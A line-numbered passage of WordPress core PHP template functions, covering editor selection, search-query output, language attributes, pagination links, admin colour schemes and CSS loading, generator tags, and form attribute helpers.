2903 * @global bool $wp_rich_edit
2904 * @global bool $is_gecko
2905 * @global bool $is_opera
2906 * @global bool $is_safari
2907 * @global bool $is_chrome
2908 * @global bool $is_IE
2909 *
2910 * @return bool
2911 */
2912function user_can_richedit() {
2913 global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
2914
2915 if ( !isset($wp_rich_edit) ) {
2916 $wp_rich_edit = false;
2917
2918 if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
2919 if ( $is_safari ) {
2920 $wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
2921 } elseif ( $is_gecko || $is_chrome || $is_IE || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
2922 $wp_rich_edit = true;
2923 }
2924 }
2925 }
2926
2927 /**
2928 * Filters whether the user can access the rich (Visual) editor.
2929 *
2930 * @since 2.1.0
2931 *
2932 * @param bool $wp_rich_edit Whether the user can access to the rich (Visual) editor.
2933 */
2934 return apply_filters( 'user_can_richedit', $wp_rich_edit );
2935}
2936
2937/**
2938 * Find out which editor should be displayed by default.
2939 *
2940 * Works out which of the two editors to display as the current editor for a
2941 * user. The 'html' setting is for the "Text" editor tab.
2942 *
2943 * @since 2.5.0
2944 *
2945 * @return string Either 'tinymce', or 'html', or 'test'
2946 */
2947function wp_default_editor() {
2948 $r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
2949 if ( wp_get_current_user() ) { // look for cookie
2950 $ed = get_user_setting('editor', 'tinymce');
2951 $r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
2952 }
2953
2954 /**
2955 * Filters which editor should be displayed by default.
2956 *
2957 * @since 2.5.0
2958 *
2959 * @param array $r An array of editors. Accepts 'tinymce', 'html', 'test'.
2960 */
2961 return apply_filters( 'wp_default_editor', $r );
2962}
2963
2964/**
2965 * Renders an editor.
2966 *
2967 * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
2968 * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
2969 *
2970 * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
2971 * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
2972 * On the post edit screen several actions can be used to include additional editors
2973 * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
2974 * See https://core.trac.wordpress.org/ticket/19173 for more information.
2975 *
2976 * @see _WP_Editors::editor()
2977 * @since 3.3.0
2978 *
2979 * @param string $content Initial content for the editor.
2980 * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
2981 * @param array $settings See _WP_Editors::editor().
2982 */
2983function wp_editor( $content, $editor_id, $settings = array() ) {
2984 if ( ! class_exists( '_WP_Editors', false ) )
2985 require( ABSPATH . WPINC . '/class-wp-editor.php' );
2986
2987 _WP_Editors::editor($content, $editor_id, $settings);
2988}
2989
2990/**
2991 * Retrieves the contents of the search WordPress query variable.
2992 *
2993 * The search query string is passed through esc_attr() to ensure that it is safe
2994 * for placing in an html attribute.
2995 *
2996 * @since 2.3.0
2997 *
2998 * @param bool $escaped Whether the result is escaped. Default true.
2999 * Only use when you are later escaping it. Do not use unescaped.
3000 * @return string
3001 */
3002function get_search_query( $escaped = true ) {
3003 /**
3004 * Filters the contents of the search query variable.
3005 *
3006 * @since 2.3.0
3007 *
3008 * @param mixed $search Contents of the search query variable.
3009 */
3010 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
3011
3012 if ( $escaped )
3013 $query = esc_attr( $query );
3014 return $query;
3015}
3016
3017/**
3018 * Displays the contents of the search query variable.
3019 *
3020 * The search query string is passed through esc_attr() to ensure that it is safe
3021 * for placing in an html attribute.
3022 *
3023 * @since 2.1.0
3024 */
3025function the_search_query() {
3026 /**
3027 * Filters the contents of the search query variable for display.
3028 *
3029 * @since 2.3.0
3030 *
3031 * @param mixed $search Contents of the search query variable.
3032 */
3033 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
3034}
3035
3036/**
3037 * Gets the language attributes for the html tag.
3038 *
3039 * Builds up a set of html attributes containing the text direction and language
3040 * information for the page.
3041 *
3042 * @since 4.3.0
3043 *
3044 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3045 */
3046function get_language_attributes( $doctype = 'html' ) {
3047 $attributes = array();
3048
3049 if ( function_exists( 'is_rtl' ) && is_rtl() )
3050 $attributes[] = 'dir="rtl"';
3051
3052 if ( $lang = get_bloginfo('language') ) {
3053 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
3054 $attributes[] = "lang=\"$lang\"";
3055
3056 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
3057 $attributes[] = "xml:lang=\"$lang\"";
3058 }
3059
3060 $output = implode(' ', $attributes);
3061
3062 /**
3063 * Filters the language attributes for display in the html tag.
3064 *
3065 * @since 2.5.0
3066 * @since 4.3.0 Added the `$doctype` parameter.
3067 *
3068 * @param string $output A space-separated list of language attributes.
3069 * @param string $doctype The type of html document (xhtml|html).
3070 */
3071 return apply_filters( 'language_attributes', $output, $doctype );
3072}
3073
3074/**
3075 * Displays the language attributes for the html tag.
3076 *
3077 * Builds up a set of html attributes containing the text direction and language
3078 * information for the page.
3079 *
3080 * @since 2.1.0
3081 * @since 4.3.0 Converted into a wrapper for get_language_attributes().
3082 *
3083 * @param string $doctype Optional. The type of html document. Accepts 'xhtml' or 'html'. Default 'html'.
3084 */
3085function language_attributes( $doctype = 'html' ) {
3086 echo get_language_attributes( $doctype );
3087}
3088
3089/**
3090 * Retrieve paginated link for archive post pages.
3091 *
3092 * Technically, the function can be used to create paginated link list for any
3093 * area. The 'base' argument is used to reference the url, which will be used to
3094 * create the paginated links. The 'format' argument is then used for replacing
3095 * the page number. It is however, most likely and by default, to be used on the
3096 * archive post pages.
3097 *
3098 * The 'type' argument controls format of the returned value. The default is
3099 * 'plain', which is just a string with the links separated by a newline
3100 * character. The other possible values are either 'array' or 'list'. The
3101 * 'array' value will return an array of the paginated link list to offer full
3102 * control of display. The 'list' value will place all of the paginated links in
3103 * an unordered HTML list.
3104 *
3105 * The 'total' argument is the total amount of pages and is an integer. The
3106 * 'current' argument is the current page number and is also an integer.
3107 *
3108 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
3109 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
3110 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
3111 * and the '%#%' is also required. The '%#%' will be replaced with the page
3112 * number.
3113 *
3114 * You can include the previous and next links in the list by setting the
3115 * 'prev_next' argument to true, which it is by default. You can set the
3116 * previous text, by using the 'prev_text' argument. You can set the next text
3117 * by setting the 'next_text' argument.
3118 *
3119 * If the 'show_all' argument is set to true, then it will show all of the pages
3120 * instead of a short list of the pages near the current page. By default, the
3121 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
3122 * arguments. The 'end_size' argument is how many numbers on either the start
3123 * and the end list edges, by default is 1. The 'mid_size' argument is how many
3124 * numbers to either side of current page, but not including current page.
3125 *
3126 * It is possible to add query vars to the link by using the 'add_args' argument
3127 * and see add_query_arg() for more information.
3128 *
3129 * The 'before_page_number' and 'after_page_number' arguments allow users to
3130 * augment the links themselves. Typically this might be to add context to the
3131 * numbered links so that screen reader users understand what the links are for.
3132 * The text strings are added before and after the page number - within the
3133 * anchor tag.
3134 *
3135 * @since 2.1.0
3136 *
3137 * @global WP_Query $wp_query
3138 * @global WP_Rewrite $wp_rewrite
3139 *
3140 * @param string|array $args {
3141 * Optional. Array or string of arguments for generating paginated links for archives.
3142 *
3143 * @type string $base Base of the paginated url. Default empty.
3144 * @type string $format Format for the pagination structure. Default empty.
3145 * @type int $total The total amount of pages. Default is the value WP_Query's
3146 * `max_num_pages` or 1.
3147 * @type int $current The current page number. Default is 'paged' query var or 1.
3148 * @type bool $show_all Whether to show all pages. Default false.
3149 * @type int $end_size How many numbers on either the start and the end list edges.
3150 * Default 1.
3151 * @type int $mid_size How many numbers to either side of the current pages. Default 2.
3152 * @type bool $prev_next Whether to include the previous and next links in the list. Default true.
3153 * @type bool $prev_text The previous page text. Default '« Previous'.
3154 * @type bool $next_text The next page text. Default '« Previous'.
3155 * @type string $type Controls format of the returned value. Possible values are 'plain',
3156 * 'array' and 'list'. Default is 'plain'.
3157 * @type array $add_args An array of query args to add. Default false.
3158 * @type string $add_fragment A string to append to each link. Default empty.
3159 * @type string $before_page_number A string to appear before the page number. Default empty.
3160 * @type string $after_page_number A string to append after the page number. Default empty.
3161 * }
3162 * @return array|string|void String of page links or array of page links.
3163 */
3164function paginate_links( $args = '' ) {
3165 global $wp_query, $wp_rewrite;
3166
3167 // Setting up default values based on the current URL.
3168 $pagenum_link = html_entity_decode( get_pagenum_link() );
3169 $url_parts = explode( '?', $pagenum_link );
3170
3171 // Get max pages and current page out of the current query, if available.
3172 $total = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
3173 $current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
3174
3175 // Append the format placeholder to the base URL.
3176 $pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
3177
3178 // URL base depends on permalink settings.
3179 $format = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
3180 $format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
3181
3182 $defaults = array(
3183 'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
3184 'format' => $format, // ?page=%#% : %#% is replaced by the page number
3185 'total' => $total,
3186 'current' => $current,
3187 'show_all' => false,
3188 'prev_next' => true,
3189 'prev_text' => __('« Previous'),
3190 'next_text' => __('Next »'),
3191 'end_size' => 1,
3192 'mid_size' => 2,
3193 'type' => 'plain',
3194 'add_args' => array(), // array of query args to add
3195 'add_fragment' => '',
3196 'before_page_number' => '',
3197 'after_page_number' => ''
3198 );
3199
3200 $args = wp_parse_args( $args, $defaults );
3201
3202 if ( ! is_array( $args['add_args'] ) ) {
3203 $args['add_args'] = array();
3204 }
3205
3206 // Merge additional query vars found in the original URL into 'add_args' array.
3207 if ( isset( $url_parts[1] ) ) {
3208 // Find the format argument.
3209 $format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
3210 $format_query = isset( $format[1] ) ? $format[1] : '';
3211 wp_parse_str( $format_query, $format_args );
3212
3213 // Find the query args of the requested URL.
3214 wp_parse_str( $url_parts[1], $url_query_args );
3215
3216 // Remove the format argument from the array of query arguments, to avoid overwriting custom format.
3217 foreach ( $format_args as $format_arg => $format_arg_value ) {
3218 unset( $url_query_args[ $format_arg ] );
3219 }
3220
3221 $args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
3222 }
3223
3224 // Who knows what else people pass in $args
3225 $total = (int) $args['total'];
3226 if ( $total < 2 ) {
3227 return;
3228 }
3229 $current = (int) $args['current'];
3230 $end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
3231 if ( $end_size < 1 ) {
3232 $end_size = 1;
3233 }
3234 $mid_size = (int) $args['mid_size'];
3235 if ( $mid_size < 0 ) {
3236 $mid_size = 2;
3237 }
3238 $add_args = $args['add_args'];
3239 $r = '';
3240 $page_links = array();
3241 $dots = false;
3242
3243 if ( $args['prev_next'] && $current && 1 < $current ) :
3244 $link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
3245 $link = str_replace( '%#%', $current - 1, $link );
3246 if ( $add_args )
3247 $link = add_query_arg( $add_args, $link );
3248 $link .= $args['add_fragment'];
3249
3250 /**
3251 * Filters the paginated links for the given archive pages.
3252 *
3253 * @since 3.0.0
3254 *
3255 * @param string $link The paginated link URL.
3256 */
3257 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
3258 endif;
3259 for ( $n = 1; $n <= $total; $n++ ) :
3260 if ( $n == $current ) :
3261 $page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
3262 $dots = true;
3263 else :
3264 if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
3265 $link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
3266 $link = str_replace( '%#%', $n, $link );
3267 if ( $add_args )
3268 $link = add_query_arg( $add_args, $link );
3269 $link .= $args['add_fragment'];
3270
3271 /** This filter is documented in wp-includes/general-template.php */
3272 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
3273 $dots = true;
3274 elseif ( $dots && ! $args['show_all'] ) :
3275 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
3276 $dots = false;
3277 endif;
3278 endif;
3279 endfor;
3280 if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
3281 $link = str_replace( '%_%', $args['format'], $args['base'] );
3282 $link = str_replace( '%#%', $current + 1, $link );
3283 if ( $add_args )
3284 $link = add_query_arg( $add_args, $link );
3285 $link .= $args['add_fragment'];
3286
3287 /** This filter is documented in wp-includes/general-template.php */
3288 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
3289 endif;
3290 switch ( $args['type'] ) {
3291 case 'array' :
3292 return $page_links;
3293
3294 case 'list' :
3295 $r .= "<ul class='page-numbers'>\n\t<li>";
3296 $r .= join("</li>\n\t<li>", $page_links);
3297 $r .= "</li>\n</ul>\n";
3298 break;
3299
3300 default :
3301 $r = join("\n", $page_links);
3302 break;
3303 }
3304 return $r;
3305}
3306
3307/**
3308 * Registers an admin colour scheme css file.
3309 *
3310 * Allows a plugin to register a new admin colour scheme. For example:
3311 *
3312 * wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
3313 * '#07273E', '#14568A', '#D54E21', '#2683AE'
3314 * ) );
3315 *
3316 * @since 2.5.0
3317 *
3318 * @global array $_wp_admin_css_colors
3319 *
3320 * @param string $key The unique key for this theme.
3321 * @param string $name The name of the theme.
3322 * @param string $url The URL of the CSS file containing the color scheme.
3323 * @param array $colors Optional. An array of CSS color definition strings which are used
3324 * to give the user a feel for the theme.
3325 * @param array $icons {
3326 * Optional. CSS color definitions used to color any SVG icons.
3327 *
3328 * @type string $base SVG icon base color.
3329 * @type string $focus SVG icon color on focus.
3330 * @type string $current SVG icon color of current admin menu link.
3331 * }
3332 */
3333function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
3334 global $_wp_admin_css_colors;
3335
3336 if ( !isset($_wp_admin_css_colors) )
3337 $_wp_admin_css_colors = array();
3338
3339 $_wp_admin_css_colors[$key] = (object) array(
3340 'name' => $name,
3341 'url' => $url,
3342 'colors' => $colors,
3343 'icon_colors' => $icons,
3344 );
3345}
3346
3347/**
3348 * Registers the default Admin color schemes
3349 *
3350 * @since 3.0.0
3351 *
3352 * @global string $wp_version
3353 */
3354function register_admin_color_schemes() {
3355 $suffix = is_rtl() ? '-rtl' : '';
3356 $suffix .= SCRIPT_DEBUG ? '' : '.min';
3357
3358 wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
3359 false,
3360 array( '#222', '#333', '#0073aa', '#00a0d2' ),
3361 array( 'base' => '#82878c', 'focus' => '#00a0d2', 'current' => '#fff' )
3362 );
3363
3364 // Other color schemes are not available when running out of src
3365 if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
3366 return;
3367
3368 wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
3369 admin_url( "css/colors/light/colors$suffix.css" ),
3370 array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
3371 array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
3372 );
3373
3374 wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
3375 admin_url( "css/colors/blue/colors$suffix.css" ),
3376 array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
3377 array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
3378 );
3379
3380 wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
3381 admin_url( "css/colors/midnight/colors$suffix.css" ),
3382 array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
3383 array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
3384 );
3385
3386 wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
3387 admin_url( "css/colors/sunrise/colors$suffix.css" ),
3388 array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
3389 array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
3390 );
3391
3392 wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
3393 admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
3394 array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
3395 array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
3396 );
3397
3398 wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
3399 admin_url( "css/colors/ocean/colors$suffix.css" ),
3400 array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
3401 array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
3402 );
3403
3404 wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
3405 admin_url( "css/colors/coffee/colors$suffix.css" ),
3406 array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
3407 array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
3408 );
3409
3410}
3411
3412/**
3413 * Displays the URL of a WordPress admin CSS file.
3414 *
3415 * @see WP_Styles::_css_href and its {@see 'style_loader_src'} filter.
3416 *
3417 * @since 2.3.0
3418 *
3419 * @param string $file file relative to wp-admin/ without its ".css" extension.
3420 * @return string
3421 */
3422function wp_admin_css_uri( $file = 'wp-admin' ) {
3423 if ( defined('WP_INSTALLING') ) {
3424 $_file = "./$file.css";
3425 } else {
3426 $_file = admin_url("$file.css");
3427 }
3428 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
3429
3430 /**
3431 * Filters the URI of a WordPress admin CSS file.
3432 *
3433 * @since 2.3.0
3434 *
3435 * @param string $_file Relative path to the file with query arguments attached.
3436 * @param string $file Relative path to the file, minus its ".css" extension.
3437 */
3438 return apply_filters( 'wp_admin_css_uri', $_file, $file );
3439}
3440
3441/**
3442 * Enqueues or directly prints a stylesheet link to the specified CSS file.
3443 *
3444 * "Intelligently" decides to enqueue or to print the CSS file. If the
3445 * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be
3446 * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will
3447 * be printed. Printing may be forced by passing true as the $force_echo
3448 * (second) parameter.
3449 *
3450 * For backward compatibility with WordPress 2.3 calling method: If the $file
3451 * (first) parameter does not correspond to a registered CSS file, we assume
3452 * $file is a file relative to wp-admin/ without its ".css" extension. A
3453 * stylesheet link to that generated URL is printed.
3454 *
3455 * @since 2.3.0
3456 *
3457 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
3458 * to wp-admin/. Defaults to 'wp-admin'.
3459 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
3460 */
3461function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
3462 // For backward compatibility
3463 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
3464
3465 if ( wp_styles()->query( $handle ) ) {
3466 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
3467 wp_print_styles( $handle );
3468 else // Add to style queue
3469 wp_enqueue_style( $handle );
3470 return;
3471 }
3472
3473 /**
3474 * Filters the stylesheet link to the specified CSS file.
3475 *
3476 * If the site is set to display right-to-left, the RTL stylesheet link
3477 * will be used instead.
3478 *
3479 * @since 2.3.0
3480 *
3481 * @param string $file Style handle name or filename (without ".css" extension)
3482 * relative to wp-admin/. Defaults to 'wp-admin'.
3483 */
3484 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
3485
3486 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
3487 /** This filter is documented in wp-includes/general-template.php */
3488 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
3489 }
3490}
3491
3492/**
3493 * Enqueues the default ThickBox js and css.
3494 *
3495 * If any of the settings need to be changed, this can be done with another js
3496 * file similar to media-upload.js. That file should
3497 * require array('thickbox') to ensure it is loaded after.
3498 *
3499 * @since 2.5.0
3500 */
3501function add_thickbox() {
3502 wp_enqueue_script( 'thickbox' );
3503 wp_enqueue_style( 'thickbox' );
3504
3505 if ( is_network_admin() )
3506 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
3507}
3508
3509/**
3510 * Displays the XHTML generator that is generated on the wp_head hook.
3511 *
3512 * See {@see 'wp_head'}.
3513 *
3514 * @since 2.5.0
3515 */
3516function wp_generator() {
3517 /**
3518 * Filters the output of the XHTML generator tag.
3519 *
3520 * @since 2.5.0
3521 *
3522 * @param string $generator_type The XHTML generator.
3523 */
3524 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
3525}
3526
3527/**
3528 * Display the generator XML or Comment for RSS, ATOM, etc.
3529 *
3530 * Returns the correct generator type for the requested output format. Allows
3531 * for a plugin to filter generators overall the {@see 'the_generator'} filter.
3532 *
3533 * @since 2.5.0
3534 *
3535 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
3536 */
3537function the_generator( $type ) {
3538 /**
3539 * Filters the output of the XHTML generator tag for display.
3540 *
3541 * @since 2.5.0
3542 *
3543 * @param string $generator_type The generator output.
3544 * @param string $type The type of generator to output. Accepts 'html',
3545 * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
3546 */
3547 echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
3548}
3549
3550/**
3551 * Creates the generator XML or Comment for RSS, ATOM, etc.
3552 *
3553 * Returns the correct generator type for the requested output format. Allows
3554 * for a plugin to filter generators on an individual basis using the
3555 * {@see 'get_the_generator_$type'} filter.
3556 *
3557 * @since 2.5.0
3558 *
3559 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
3560 * @return string|void The HTML content for the generator.
3561 */
3562function get_the_generator( $type = '' ) {
3563 if ( empty( $type ) ) {
3564
3565 $current_filter = current_filter();
3566 if ( empty( $current_filter ) )
3567 return;
3568
3569 switch ( $current_filter ) {
3570 case 'rss2_head' :
3571 case 'commentsrss2_head' :
3572 $type = 'rss2';
3573 break;
3574 case 'rss_head' :
3575 case 'opml_head' :
3576 $type = 'comment';
3577 break;
3578 case 'rdf_header' :
3579 $type = 'rdf';
3580 break;
3581 case 'atom_head' :
3582 case 'comments_atom_head' :
3583 case 'app_head' :
3584 $type = 'atom';
3585 break;
3586 }
3587 }
3588
3589 switch ( $type ) {
3590 case 'html':
3591 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
3592 break;
3593 case 'xhtml':
3594 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
3595 break;
3596 case 'atom':
3597 $gen = '<generator uri="https://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
3598 break;
3599 case 'rss2':
3600 $gen = '<generator>https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
3601 break;
3602 case 'rdf':
3603 $gen = '<admin:generatorAgent rdf:resource="https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
3604 break;
3605 case 'comment':
3606 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
3607 break;
3608 case 'export':
3609 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
3610 break;
3611 }
3612
3613 /**
3614 * Filters the HTML for the retrieved generator type.
3615 *
3616 * The dynamic portion of the hook name, `$type`, refers to the generator type.
3617 *
3618 * @since 2.5.0
3619 *
3620 * @param string $gen The HTML markup output to wp_head().
3621 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
3622 * 'rss2', 'rdf', 'comment', 'export'.
3623 */
3624 return apply_filters( "get_the_generator_{$type}", $gen, $type );
3625}
3626
3627/**
3628 * Outputs the html checked attribute.
3629 *
3630 * Compares the first two arguments and if identical marks as checked
3631 *
3632 * @since 1.0.0
3633 *
3634 * @param mixed $checked One of the values to compare
3635 * @param mixed $current (true) The other value to compare if not just true
3636 * @param bool $echo Whether to echo or just return the string
3637 * @return string html attribute or empty string
3638 */
3639function checked( $checked, $current = true, $echo = true ) {
3640 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
3641}
3642
3643/**
3644 * Outputs the html selected attribute.
3645 *
3646 * Compares the first two arguments and if identical marks as selected
3647 *
3648 * @since 1.0.0
3649 *
3650 * @param mixed $selected One of the values to compare
3651 * @param mixed $current (true) The other value to compare if not just true
3652 * @param bool $echo Whether to echo or just return the string
3653 * @return string html attribute or empty string
3654 */
3655function selected( $selected, $current = true, $echo = true ) {
3656 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
3657}
3658
3659/**
3660 * Outputs the html disabled attribute.
3661 *
3662 * Compares the first two arguments and if identical marks as disabled
3663 *
3664 * @since 3.0.0
3665 *
3666 * @param mixed $disabled One of the values to compare
3667 * @param mixed $current (true) The other value to compare if not just true
3668 * @param bool $echo Whether to echo or just return the string
3669 * @return string html attribute or empty string
3670 */
3671function disabled( $disabled, $current = true, $echo = true ) {
3672 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
3673}
3674
3675/**
3676 * Private helper function for checked, selected, and disabled.
3677 *
3678 * Compares the first two arguments and if identical marks as $type
3679 *
3680 * @since 2.8.0
3681 * @access private
3682 *
3683 * @param mixed $helper One of the values to compare
3684 * @param mixed $current (true) The other value to compare if not just true
3685 * @param bool $echo Whether to echo or just return the string
3686 * @param string $type The type of checked|selected|disabled we are doing
3687 * @return string html attribute or empty string
3688 */
3689function __checked_selected_helper( $helper, $current, $echo, $type ) {
3690 if ( (string) $helper === (string) $current )
3691 $result = " $type='$type'";
3692 else
3693 $result = '';
3694
3695 if ( $echo )
3696 echo $result;
3697
3698 return $result;
3699}
3700
3701/**
3702 * Default settings for heartbeat
3703 *
3704 * Outputs the nonce used in the heartbeat XHR
3705 *
3706 * @since 3.6.0
3707 *
3708 * @param array $settings
3709 * @return array $settings
3710 */
3711function wp_heartbeat_settings( $settings ) {
3712 if ( ! is_admin() )
3713 $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
3714
3715 if ( is_user_logged_in() )
3716 $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
3717
3718 return $settings;
3719}